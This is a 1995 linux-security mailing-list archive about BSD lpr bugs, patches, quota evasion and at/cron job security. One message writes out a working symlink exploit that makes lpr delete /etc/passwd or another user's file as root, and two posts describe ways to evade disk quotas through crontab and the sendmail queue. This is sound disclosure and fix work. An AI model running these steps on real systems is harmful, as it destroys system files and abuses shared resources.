Jul 1995 13:48:45 -0400 Received: from teleportal ([email protected] [204.157.166.18]) by teleportal (8.6.9/8.6.9) with SMTP id LAA23972 for ; Sat, 15 Jul 1995 11:44:15 -0500 Message-Id: <199507151644.LAA23972@teleportal> From: Linas Vepstas Date: Sat, 15 Jul 95 11:44:15 -500 To: [email protected] Mime-Version: 1.0 X-Mailer: Mozilla/1.0N (X11; Linux 1.1.59 i486) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: COPS X-URL: http://www.sonic.net:80/hypermail/security/ Sender: [email protected] Precedence: list Hi, This may be the wrong place to ask, but ... Is there a version of COPS customized for Linux? I pulled a copy down, and it did autoconfigure & compile & etc. but overall was fairly useless. Things like looking for files in the wrong directories, bogus error messages (it thought that my /etc/passwd had accounts without passwords, but visual inspection shows that that is not the case). And it fails to look for important things -- like ghostscript usage without -dSAFER, or otherwise nasty .mime/types files, etc. What's the word? --linas linux-security/1995/linux-security.950718100664 1767 1767 6547 6003017071 17245 0ustar majdommajdomFrom [email protected] Tue Jul 18 16:48:51 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA24824; Tue, 18 Jul 1995 16:24:06 -0400 Received: from miranda.uwaterloo.ca ([email protected] [129.97.130.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id WAA21309; Mon, 17 Jul 1995 22:43:26 -0400 Received: (from zblaxell@localhost) by miranda.uwaterloo.ca (8.6.10/8.6.9) id WAA27383; Mon, 17 Jul 1995 22:42:59 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: [Linux-ISP] lpr(1) bug To: [email protected] (Aleph One) Date: Mon, 17 Jul 1995 22:42:58 -0400 (EDT) Cc: [email protected], eugene%[email protected], [email protected], [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Aleph One" at Jul 13, 95 05:09:18 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2125 Sender: [email protected] Precedence: list [mod: we're working on a fix for these problems. --okir] Quoted from Aleph One: > What fallows is a small (and damm ugly) hack to fix it. All credit goes > to Zygo Blaxell for pointing this out in the linuxisp maling list. A Uh oh, it's got my name on it. Better make sure it works... > lpr(1) uses the access system call to determine if the parent directory > of the file is writable by the real uid. If it is, it assumes the file > can be unlinked. The problem arises in that lpr(1) does not check for > directories with the sticky bit set (eg. /tmp). [ patch deleted] D'oh! It doesn't. :( The patch doesn't fix the problem at all. I've included an exploit script that you can test fixes with; alas, these days all I have time to do with lpr is rm it. The lpr/lpd code should be rewritten such that it does not ever use access (or stat, for that matter). The access control check should be done by the OS, and the unlink call should be done with whatever uid/gid privileges the party invoking lpr had (unless the file to be unlinked is in the spool directory, of course). Ditto with the open() call with 'lpr -s', although I don't know if this is an actual bug in lpr (if it's implemented the way I think it is, you should be able to print any file with lpr -s). The problem is that lpr/lpd invokes unlink() with super-user privileges. Consider: mkdir /tmp/foobar ln -s /etc/passwd /tmp/foobar lpr big_huge_file lpr -r /tmp/foobar/passwd rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar OR ln -fs /home/private_file /tmp/foobar/passwd # Does this work? /etc/passwd goes away. Even if the access() check was moved closer to the unlink call, there is still a race condition in the code (explaining the exploit would take another 50 lines of message; essentially it makes 'stat' take about 30 seconds to execute, and demonstrates why race conditions are bad). -- Zygo Blaxell, former sysadmin and current software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda. uwaterloo.ca and ezmail.com. 10th place team, ACM Intl Finals Programming Contest 1994. Will administer Unix (esp. Linux, maybe Solaris) for food. linux-security/1995/linux-security.950719100664 1767 1767 6747 6003301063 17245 0ustar majdommajdomFrom [email protected] Wed Jul 19 07:59:56 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id HAA29431; Wed, 19 Jul 1995 07:53:11 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA25490; Tue, 18 Jul 1995 17:39:59 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA10301; Tue, 18 Jul 95 16:38:42 CDT Date: Tue, 18 Jul 1995 16:38:41 -0500 (CDT) From: Aleph One To: [email protected] Subject: YAWTCQ Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Yet Another Way To Cheat Quotas Background: Crond keeps the users crontabs under /var/spool/cron/crontabs. They are owned by root. Dont ask me way but I recall it has something to do with some security issue. Anyway... crontab bighuge.tgz rm bighuge.tgz to recover: crontab -l > bighuge.tgz the crond man page sees it will onlie accept files with lines not longer then 1024 and no more then 256 lines. This gives you around 256K. Aleph One / [email protected] http://underground.org/ From [email protected] Wed Jul 19 18:07:41 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA32442; Wed, 19 Jul 1995 17:53:50 -0400 Received: from stone.dcs.warwick.ac.uk ([email protected] [137.205.224.4]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA30949; Wed, 19 Jul 1995 13:52:50 -0400 From: Zefram Message-Id: <[email protected]> Subject: Re: YAWTCQ To: [email protected] (Aleph One) Date: Wed, 19 Jul 1995 18:52:11 +0100 (BST) Cc: [email protected] In-Reply-To: from "Aleph One" at Jul 18, 95 04:38:41 pm X-Loop: [email protected] X-Stardate: [-31]6003.72 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1230 Sender: [email protected] Precedence: list >Yet Another Way To Cheat Quotas "Yet Another"? Being new to this list, I'd like to know what people have come up with in the past. Is there an archive of the list? [mod: The list is archived on http://www.sonic.net/hypermail/security and ftp://linux.nrao.edu/pub/linux/security/list-archive. --okir] >Background: Crond keeps the users crontabs under /var/spool/cron/crontabs. >They are owned by root. Dont ask me way but I recall it has something to >do with some security issue. Anyway... Probably to stop anyone giving someone else a crontab. The directory is root-only writable, crontab is setuid root. But there's no reason it couldn't chown it. Curiously, at jobs *are* owned by the user (otherwise crond wouldn't know who to execute them as), and it is possible to edit them, and this does not pose any serious security threat that I am aware of. It's even safe on systems where anyone can chown their files to anyone, as the at job must have the setuid bit set in order to be executed. >crontab bighuge.tgz >rm bighuge.tgz > >to recover: > >crontab -l > bighuge.tgz > >the crond man page sees it will onlie accept files with lines not longer >then 1024 and no more then 256 lines. This gives you around 256K. You'd have to encode the file into a legal crontab file, which reduces this number somewhat. Anyway, who has quotas on /var? -zefram linux-security/1995/linux-security.950721100664 1767 1767 4444 6003712721 17235 0ustar majdommajdomFrom [email protected] Fri Jul 21 07:55:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id HAA10526; Fri, 21 Jul 1995 07:20:43 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de ([email protected] [129.13.110.66]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id MAA05647; Thu, 20 Jul 1995 12:06:48 -0400 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id SAA02467; Thu, 20 Jul 1995 18:05:13 +0200 Message-Id: <[email protected]> Subject: Re: YAWTCQ To: [email protected] (Zefram) Date: Thu, 20 Jul 1995 18:05:13 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Zefram" at Jul 19, 95 06:52:11 pm From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME4] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1202 Sender: [email protected] Precedence: list > Curiously, at jobs *are* owned by the user > (otherwise crond wouldn't know who to execute them as), This also serves as a sort of authenticication, on a system with restricted chown(), as Linux is, only the user can have created that file. The problems which occur when a program written with that assumption moves into a universe in which this doesn't hold are easy to imagine. > and it is possible to > edit them, and this does not pose any serious security > threat that I am aware of. This does not hold true for Linux. It is no longer possible to edit at jobs there in newer versions; as turned out recently, this was a very wise descision, because there did indeed lurk a potential fatal security hole there. > It's even safe on systems where anyone can > chown their files to anyone, as the at job must have the setuid bit set > in order to be executed. You're definitely not speaking of Linux at there :-) Let's just hope that whoever implemented that particular system also made the scripts non - executable, in that case. -- Thomas K�nig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. linux-security/1995/linux-security.950722100664 1767 1767 16026 6004307417 17260 0ustar majdommajdomFrom [email protected] Sat Jul 22 19:51:38 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA18149; Sat, 22 Jul 1995 19:00:30 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id SAA18110; Sat, 22 Jul 1995 18:42:58 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sZnFc-0005BKC; Sun, 23 Jul 95 00:42 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sZncc-00000WC; Sun, 23 Jul 95 01:06 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Tentative fix for BSD lpr To: [email protected] Date: Sun, 23 Jul 1995 01:06:13 +0200 (MET DST) Cc: [email protected] (Florian La Roche) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 6178 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi all, here's a patch to the BSD lpr stuff from NetKit-B-0.05. Apart from the bug Zygo Blaxell reported, I stumbled across some more. * lpr -r and lpr -r -s would remove arbitrary files in some cases. Unfortunately, the file removal code is scattered throughout several programs and source files. I found the following places: lpr: after the job has been spooled (lpr -r) lpd: after the job has been successfully printed (lpr -r -s) lprm: when removing a pending job (lpr -r -s) Unlinking now always happens under the euid/egid of the user who submitted the job. This is easy for lpr, but slightly more difficult for lpd/lprm. Trusting that the job description files are ok, I extract the user and host name and match them against hosts.equiv and .rhosts to make sure the accounts are equivalent. There's a tiny difference between lpd and lprm: lpd still has the FQDN of the original submitter's host, while lprm has to use the host information from the job description file (currently not checked against the sender's hostname). * Made the /dev/printer Unix socket mode 600. It used to be 777 thus allowing anyone to submit faked jobs with false credentials. * Avoid the FTP bounce attack. * Fixed a possible stack overwrite problem in rmjob.c. I have the feeling that this is not the only one... can you say RTM? Please let me know if it works for you. I'll send out the patch to linux-alert in a few days if no-one complains, or if someone comes up with a cleaner one. If anyone knows where to reach the BSD people who maintain this beast, please drop me a note. Have a nice day everyone, Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. table `!"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ begin 644 lpr.diff.gz M'XL(",J#$3```VQP#(<3D8#L/?V1JU>K_?XSL8Y+OFIC&#HP&`PL>V)P\NV6Z]>0=_>&5MCw MZ-''#KQZU0+#F[D9;`1A)/9;\!4);X^.#V'#"]+]5D_.1LDT=N?BRAE^@@-Hv MMY$1^<(`S"?>[-:DM=TN4HQ,%&46[\N3=AW+MO&HW9%E[\JSC,`MW,AL>VXX;At MN;F`SH?.A`9&7F2QE]Z92F`+B+EG6Y"'_Q9)H.G=OMW=YP5:LP?SI&CGXZ`Cs MV6XRX=Z2>.J\R\X$8&L#RA@/N`4WSQ,O=`OT%RF2P\86\;*%@BR9PY,#F"5Yr MP38RC#0+XR(PV\_R":#N/+/?ZM(V!q M^^@)'\E:::4AR>`G2SNBN5$H2[L57==KBK7NK)5-192+Y47?E*$VWSW^HA_Sp MB`SP8-C(+(C)=I)MH[0P^;2_'/,4VEL;4AI[S[('*,YPQ[(=*0_9DP3&^`@Hn M?CGZ+6AG;0S4@P,XO3P^;MP%<_"ML.Y+_ZB0IN48REUV*X8R17+:,&5?&AY6m ME[Q;7C);MOZ:`^35J6Y+^N">I/4-2:\:M*5;<0^/2;.R_^S!_K-Z_]E5@[:\l M_S=B!=@_#H8)@IDS'%K.6"%,Q;[(PD*8-V5@`1X>K\'&W"I+C??Z4TB;;5Z&'2M7G6?I._I`EM0YB+K5J$F`U:/B*,>j M$2>.R$AHHM(K($4$6?C&1KH@KC+TKPOT-7ZB/3!FZ)O)]IJJJ6DU-=53*!D'i MW3ZI(*$'92"O(/ITMCI\RV500D/\;LW/!_[^.SPA`7$ADFG81#!X_APRFDYNh M3:GV0&JN](<7,%#+S'0A14P7B#(F3UK3CRH,JM%R,5"1C9,DAA/We MCC(YIO'!]F0P7"X`:M:5I#^:.*-&TM_>XZ2/'PI5C?PN1_@WC]__]?KP[`SQd MJ[P)8W\"S^9M>4/$E[`P;7TO,'+GB6]>?WA]\>[Z_/V;GP\O3E^?'*+[QP-$c M.`1,6`CPW"C"'%C.W?P6@0_(\=#:14@>.Y8L*BCN,TH]>9'O&R3)4T@"a MR-,DB4!/L`1T^_".B2Q/8LE)Z8^8)0W\)(RG9-@Y\[?ZO(+B_X9J'U83`27`z M``B2#-$C%''1R6'N>C,$.+D=KI3K/&2]^LOEV_.C?\BE5*ZYL<]@J/FO.^<9!R@#>W*<-\BM"6\JH[;B,HK9%WSB=8QF)(S+VB!*@`[W1x M<%`EP"K_*NPB&!"4BF>4/.MIF5)I-EBB2PRD++R1IU7J=HGQ:GO`V9@R>Q!Fw M.5UKFPCB"ZZ,U5)4JKB.B\0UNYKY!JNR"&O)`\8$RN!!_V4>QM=IDM$FR#W+v MS0:-LRECI*0%[CR,[@CE7K^]/CH]O&#@:^SQ\@"./GQX?W9Q?79X?GCVR^&/u M78VR?WH'Y"`K;%O#;J-T/G$CC(DYE9J$RZ[O(U+E\M+.4HFX9,N;t M.YK"4H5MUGVNCB`B>9I.58E7^5%-=BU8TDA=NY&S:PV'&`G.7E7-\P.`BHYYs M:LJ*DDO9I9<`7B(CYV*)XIO=32-79L2^+HPP%&350/%N-A90D%#2P54O9#%]r M`STM.0^[T`?$*;SPO9YZ*I!@M([*D%=P3q MZ1NT-Y-4S?-U:3K,RQ011"KQ`Q1)E"SDD"2:Z.7+)5-SD2Z86.;F^FZC:.[3p M>55]A,ZFFU55H1*9W[T_OS@__-OET2^R(D4^=^J&\41YB]7!C&L"8A"%X&@8'A^=_FP8VP1>#--%6&#UMCM0D/[;;VG6Z0!3l M&IP`>56*k MZ8_>L$4"-W>0W\VY_J7#PCBAE?BA5N(W_WL6-E(H`SQG4=J`X@8S&M>4.JTMj MY4)FK]/A(_S25HW^Q!(WTL.XRI:2%]W+O/9`FQ8I@*C#FBSS>A'6Y?6N/`R#i MT'.+$,,I"$7D:U,[]I!L[=B.+K'6/?D>Z6-4?85WG4GS):?ML/*AZ(LC$LADX(SWF.E=P:6;O!(g M/9S.I!Z,Y*!^B-KR2<(B](V&NKAY?J7LTN_8G4\KBM>:/\II249#6X(9T^]P%V7'T3??"'(Ad M;BD&L6(_QI]'FQ(Z?39?])?*3_\GW?Z46K1"NF0/M4+TW7-V="&BWUOT:#]Wc M`X%EF'F$4)&*;M6A6WK$-\3\GU_P2_VU![OQTS(7L3]WPTA-2ZPGP^EN`Z#@b MF@DPBS$!H!!1A$^3)$4SX%.J+!BJL+A'`B$0L2F;[`WY@3<8C*EAI0)UI6LIa MTXZ\B[IM]S%>N#E0NX\IB.$WPG-+JE$*T%.DFD1W=`]0=@UC5[KG8]Q>[O'Iz MEJQ44G9E'QXFS27PO8DET#Q$5*77EXA#[AZN[1H:01"5^7'O3)SMND)P1F-&QE'59I=*>`FB5XA55C9=HT(Hx MFWS\JJ"B5T45,5=]BI5)#N*:H>E;:B_3#QD\$W-\BLO6K.R,:PGN52]M/.`0w MH@\E,L1QMQ57EPKS6S[W!BX(%R%U2-A2Mu M_K1PSZ_0JBG;>ZJZV+IW0SHP6>K<`I%E26;3A=&G`KVJ\<@R9@H=*.-UG86Jt MTV2ODR\[MP]7X*?+,BR]CA7V?*V:@8_W`A]K!:+P=6=/M[R0BYD>M-(&JQTSs MY"R_S6GB"2MM-\DLWPBKCO+JQAJ%(KMEHOZX('-V[2[JU69L?3HD3KJLU?U_r IU]1[*(;W![V])U742`3B!%6F9G6Z,@%K_O)`9E&=?/X#9K!1DQ(<``"Lq `p end -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMBGEIOFnVHXv40etAQFQmgQAlBDi+2eKPQAWWq5e/ddyZTJbtY1JSUr6 9L3pb+Xu8sPm2tO65HysxCZiOyLslFQFzMlDZWEBh2Ic0iXYiuv+90BWgOOGzaaq Jzsp48fe2K5HnD7jBD/qyhPsMtTxFgPh7mfznCJTV/ziHJDaoWBRIcDu5geDJtC4 V0T9gvnM50A= =q2aq -----END PGP SIGNATURE----- linux-security/1995/linux-security.950725100664 1767 1767 12005 6005273622 17255 0ustar majdommajdomFrom [email protected] Tue Jul 25 03:31:00 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id DAA04284; Tue, 25 Jul 1995 03:02:17 -0400 Received: from jurix.jura.uni-sb.de ([email protected] [134.96.116.11]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id QAA27287; Mon, 24 Jul 1995 16:58:33 -0400 Received: (from florian@localhost) by jurix.jura.uni-sb.de (8.6.12/8.6.9) id WAA05370; Mon, 24 Jul 1995 22:58:31 +0200 From: Florian La Roche Message-Id: <[email protected]> Subject: Re: Tentative fix for BSD lpr To: [email protected] (Olaf Kirch) Date: Mon, 24 Jul 1995 22:58:31 +0200 (MET DST) Cc: [email protected] Reply-To: [email protected] In-Reply-To: from "Olaf Kirch" at Jul 23, 95 01:06:13 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1117 Sender: [email protected] Precedence: list Could someone please check out plp 4.0.2 as on ftp.iona.ie:/pub/plp Has it also some of the BSD-lpr bugs? I have compile it with the following patches, but I haven't tested it yet. Should we suggest to Linux users to use plp instead of BSD lpr? Or someone who wants to check the current source from NetBSD, if lpr has changed alot in it? Have they already done most of the bug-fixes? Sorry for just posting questions and no answers... Florian La Roche --- Makefile.Linux +++ Makefile.Linux 1995/07/14 10:30:21 @@ -0,0 +1,11 @@ +flags = CCOPTFLAGS='-O2 -fomit-frame-pointer -pipe' + +src/Makefile: src/Makefile.in + cd src && ./configure --prefix=/usr + +compile: src/Makefile + make $(flags) -C src + +install: + make install install.man $(flags) -C src + --- src/library/setuid.c +++ src/library/setuid.c 1995/07/14 10:21:30 @@ -465,7 +465,7 @@ *args[argno] = '\0'; was_quote: - if ((len = strcspn(cmd, meta_or_quotes_or_blanks)) != NULL) { + if ((len = strcspn(cmd, meta_or_quotes_or_blanks)) != 0) { argsize += len; args[argno] = (char *) realloc (args[argno], argsize); } From [email protected] Tue Jul 25 19:00:28 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA01909; Tue, 25 Jul 1995 18:51:46 -0400 Received: from flowbee.beckman.uiuc.edu ([128.174.212.22]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA01449; Tue, 25 Jul 1995 17:01:26 -0400 Received: from localhost.beckman.uiuc.edu by flowbee.beckman.uiuc.edu with SMTP id AA06148 (5.67b/IDA-1.5 for ); Tue, 25 Jul 1995 15:59:49 -0500 Message-Id: <[email protected]> X-Face: ?/"MXina;Tt'.c6A>P1["3Wm#HCKX-/DEGN$1y[T?I6fCGFUTh]6'<@mJ&1TSRDlc_>|Lo' %b|.Rwf= `7~U>E@VElJ`RI\Sb1h X-Uri: http://www.beckman.uiuc.edu/groups/biss/people/baba/ Reply-To: Baba Z Buehler From: Baba Z Buehler To: [email protected] Cc: [email protected] (Olaf Kirch), [email protected] Subject: Re: Tentative fix for BSD lpr In-Reply-To: Your message of "Mon, 24 Jul 1995 22:58:31 +0200." <[email protected]> Date: Tue, 25 Jul 1995 15:59:49 -0500 Sender: [email protected] Precedence: list Florian La Roche writes: > Could someone please check out plp 4.0.2 as on ftp.iona.ie:/pub/plp > Has it also some of the BSD-lpr bugs? > I have compile it with the following patches, but I haven't tested it > yet. > Should we suggest to Linux users to use plp instead of BSD lpr? > Or someone who wants to check the current source from NetBSD, if > lpr has changed alot in it? Have they already done most of the bug-fixes? > > Sorry for just posting questions and no answers... > I have been working with the people who develop PLP for the last 6 months now, and we are using it here on our Sun machines as our Institute-wide printing server. I have also been running it on my Linux machine. The PLP people are very security aware and are even working on a totally new distributed printing system that circumvents many of the current BSD-style lpr/lpd problems. I've found PLP to be a very good replacement for the lpr/lpd that came with my Slackware distribution. I also operate a U.S. mirror of the PLP distribution (the link into ftp.iona.ie, in Ireland can be very slow at times). ftp://ftp.beckman.uiuc.edu/pub/plp/ thanks, -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # "Fasten your seat belts because it's going to be a bumpy ride . . . # not because there's any turbulence, mind you, but because I still # think HTML is an old Village People tune." -- Michelle Street # # WWW: http://www.beckman.uiuc.edu/groups/biss/people/baba/ # PGP public key on WWW homepage and key servers (key id: C13D8EE1) linux-security/1995/linux-security.950726100664 1767 1767 27147 6005477206 17277 0ustar majdommajdomFrom [email protected] Wed Jul 26 13:42:09 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA05494; Wed, 26 Jul 1995 13:27:13 -0400 Received: from relay1.pipex.net (relay1.pipex.net [158.43.128.6]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id VAA02005; Wed, 19 Jul 1995 21:12:37 -0400 Received: from cpcsat.sfos.ro by flow.pipex.net with SMTP (PP); Thu, 20 Jul 1995 02:11:49 +0100 Received: from cpcpub.sfos.ro by cpcsat.sfos.ro with SMTP (5.65/1.2-eef) id AA08208; Thu, 20 Jul 95 04:10:52 +0200 Received: (from uucp@localhost) by cpcpub.sfos.ro (8.6.12/8.6.12) with UUCP id EAA13172 for [email protected]; Thu, 20 Jul 1995 04:07:36 +0200 Received: from main.cccis.sfos.ro ([email protected] [193.226.30.2]) by commserv.cccis.sfos.ro (8.6.11/8.6.11) with ESMTP id EAA00149 for ; Thu, 20 Jul 1995 04:06:08 +0300 Received: (from gafton@localhost) by main.cccis.sfos.ro (8.6.11/8.6.11) id EAA10343; Thu, 20 Jul 1995 04:08:09 +0300 Date: Thu, 20 Jul 1995 04:08:08 +0300 (EET DST) From: Cristian Gafton To: [email protected] Subject: Re: YAWTCQ In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Yet Another Way To Cheat Quotas > >crontab bighuge.tgz > >rm bighuge.tgz > > > >to recover: > > > >crontab -l > bighuge.tgz > > > >the crond man page sees it will onlie accept files with lines not longer > >then 1024 and no more then 256 lines. This gives you around 256K. Cute. Another one: Suppose you want to keep with you some files, but you can't because of quota. Solution: attach each one into a separate message and send that messages to yourself. And if the admin of the computer you have the account on was 'smart' enough to give sendmail a bigger timeout, be sure that those messages will sit in the sendmail queue with a nice (Deferred: ... Insufficient disk space) error. Not too much details, but I hope you've got the idea ... Cristian Gafton Cristian Gafton, SysAdm [email protected] ---------------------------------------------------------------------- Computers & Communications Center str. Moara de Foc nr. 35 Phone: 40-32-252936, 252938 PO-BOX 2-549 Fax: 40-32-252933 IASI 6600, ROMANIA ====================================================================== Good code is hard to write, so it must be hard to understand. From [email protected] Wed Jul 26 13:42:09 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA05473; Wed, 26 Jul 1995 13:26:47 -0400 Received: from gimli.Informatik.Uni-Oldenburg.DE (gimli.Informatik.Uni-Oldenburg.DE [134.106.1.10]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id TAA15193; Fri, 21 Jul 1995 19:05:56 -0400 Received: by gimli.Informatik.Uni-Oldenburg.DE (Smail3.1.22.1) id ; Fri, 21 Jul 95 23:35 CES Received: by olis.north.de (/\==/\ Smail3.1.28.1 #28.13) id ; Fri, 21 Jul 95 23:29 MES Received: at Infodrom Oldenburg (/\==/\ Smail3.1.28.1 #28.6) by finlandia.Infodrom.North.DE (Smail3.1.28.1 #6) id m0sZMq8-000K8OC; Fri, 21 Jul 95 20:30 MET DST Message-Id: From: [email protected] (Martin Schulze) Subject: Re: YAWTCQ To: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) Date: Fri, 21 Jul 1995 20:30:24 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "=?ISO-8859-1?Q?Thomas_K=F6nig?=" at Jul 20, 95 06:05:13 pm X-Href: http://home.pages.de/~joey/ X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2126 Sender: [email protected] Precedence: list Hi T-Rex! }> Curiously, at jobs *are* owned by the user }> (otherwise crond wouldn't know who to execute them as), } }This also serves as a sort of authenticication, on a system with }restricted chown(), as Linux is, only the user can have created }that file. [ Speaking for at jobs, not for crontabs, just to avoid confusion ] Yes, but wont't it be more secure to manage a database file containing the user, group and file to execute? Then the script might be owned by daemon.daemon or whatever, and you can't read it anymore. And if I think about cheating a possibly existing quota, does there exist a limitation in the length of at jobs? (haven't looked at the source) }The problems which occur when a program written with that assumption }moves into a universe in which this doesn't hold are easy to imagine. } }> and it is possible to }> edit them, and this does not pose any serious security }> threat that I am aware of. } }This does not hold true for Linux. } }It is no longer possible to edit at jobs there in newer versions; }as turned out recently, this was a very wise descision, because there }did indeed lurk a potential fatal security hole there. I do understand that. And it's also impossible to look at the script after installing it. And that's - at least for me - bad, because every once in a while I have to cancel such a job, but I don't know which one. On the other hand it may also no good idea if they could be readble after installing. }Let's just hope that whoever implemented that particular system }also made the scripts non - executable, in that case. Uoh, mine are executable and they are owned by joey.users, but I can neither read nor execute them. And they are NOT suid. regards, Joey -- / Martin Schulze * [email protected] * 26129 Oldenburg / / +49-441-777884 * Login&Passwd: nuucp * Index: ~/ls-lR.gz / / http://home.pages.de/~joey/ / Unix is user friendly ... It's just picky about it's friends / ---------------------------------------------------------------- 30.7.95: Oldenburger Linux-Stammtisch, DaCapo, ab 20:00 From [email protected] Wed Jul 26 13:42:09 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA05462; Wed, 26 Jul 1995 13:26:20 -0400 Received: from mvmampc66.ciw.uni-karlsruhe.de ([email protected] [129.13.110.66]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id UAA15345; Fri, 21 Jul 1995 20:16:40 -0400 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.12/8.6.12) id CAA00631; Sat, 22 Jul 1995 02:16:23 +0200 Message-Id: <[email protected]> Subject: Re: YAWTCQ To: [email protected] (Martin Schulze) Date: Sat, 22 Jul 1995 02:16:18 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: from "Martin Schulze" at Jul 21, 95 08:30:24 pm From: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) X-Mailer: ELM [version 2.4 PL24 ME4] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1954 Sender: [email protected] Precedence: list > [ Speaking for at jobs, not for crontabs, just to avoid confusion ] > > Yes, but wont't it be more secure to manage a database file containing > the user, group and file to execute? Then the script might be owned by > daemon.daemon or whatever, and you can't read it anymore. This is certainly a possibility. However, the at/atrun pair is already at the limits (IMHO) of complexity for root - privileged programs. I would't want to add database routines, which probably add their own set of bugs and problems. Also, this would mean that anybody who cracks daemon will easily be able to crack any user's account; with the current setup, I at least took some care that this should not happen with the current scheme. (If I overlooked something, please tell me :-) > And if I think about cheating a possibly existing quota, does there > exist a limitation in the length of at jobs? (haven't looked at the > source) I have to confess ignorance how the Linux quotas work, especially as to which checks are performed at which time, and who gets charged for quota after a chown on an open file. Can anybody shed light on this? > }It is no longer possible to edit at jobs there in newer versions; > }as turned out recently, this was a very wise descision, because there > }did indeed lurk a potential fatal security hole there. > > I do understand that. The only exploitation I was aware of was fiddling with the username to send unwanted options to sendmail. If anybody's aware of any other, please tell. > And it's also impossible to look at the script > after installing it. Adding this, I think, should not pose any risk. Check for matching userid, open the file, drop all privileges, and copy the file to standard output. No hole that I can see; consider it on my TODO list. -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. From [email protected] Wed Jul 26 13:42:09 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA05503; Wed, 26 Jul 1995 13:27:46 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA24808; Tue, 18 Jul 1995 16:23:32 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sYJ9q-0005B2C; Tue, 18 Jul 95 22:22 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sYJCH-00005BC; Tue, 18 Jul 95 22:24 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: proc-less network tools (summary) To: [email protected] Date: Tue, 18 Jul 1995 22:24:53 +0200 (MET DST) Cc: [email protected] Reply-To: [email protected] X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 